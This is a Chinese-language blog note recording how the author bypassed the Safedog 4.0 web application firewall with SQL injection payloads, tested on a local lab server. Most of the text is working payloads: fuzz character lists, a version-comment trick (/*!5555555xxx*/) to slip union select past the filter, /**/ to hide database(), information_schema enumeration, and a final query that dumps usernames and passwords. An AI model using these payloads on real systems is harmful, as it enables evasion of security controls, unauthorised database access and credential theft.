近几天出了很多过狗文章,也看了tools一些前辈的思路,记录下过狗的sql语句、过程。

版本

注入过安全过4.0payload

fuzz特殊字符

fuzz_zs =  ['/*','*/','/*!','*','=','`','!','@','%','.','-','+','|','%00']
fuzz_ch = ["%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j"]

and判断注入点

本来想直接fuzz,但是发现没跑出来,还是要找好fuzz点,再加上一定规则fuzz出的payload也许后面的语句同样适用。

?id=1' and /*!1=1*/ %23

order by

上面fuzz出的语句依旧有效

?id=1' order/*!%0a/*!by*/ 3%23

union select

还是先测试了上面的语句,发现不行
https://www.t00ls.net/viewthread.php?tid=46726&highlight=%E5%AE%89%E5%85%A8%E7%8B%97

文章指出根据/!5001uninon/衍生出/!90000aaa/可以绕过 union select,测试成功,数值大于一定范围就行。

id=1' union/*!5555555xxx*/select/*!555555xxx*/%201,2,3%23

但是指定mysql user()/database()等函数时会拦截

可用/**/绕过

id=1' union/*!5555555xxx*/select/*!555555xxx*/%201,2,database/**/()%23        
数据库名: lalala

查询表名
?id=1' union/*!5555555xxx*/select/*!555555xxx*/%20 1,2,group_concat(table_name) from information_schema.tables where table_schema='lalala'%23

查询字段
http://192.168.233.133/test/test.php?id=1' union/*!5555555xxx*/select/*!555555xxx*/%20 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23

爆值
http://192.168.233.133/test/test.php?id=1 'union/*!555555xxx*/select /*!555555xxx*/1,user,password/*!55555xxx*//*!555555xxx*/from users%23

总结

还是要有猥琐骚思路,多结合前辈们的姿势加以延伸结合fuzz绕过。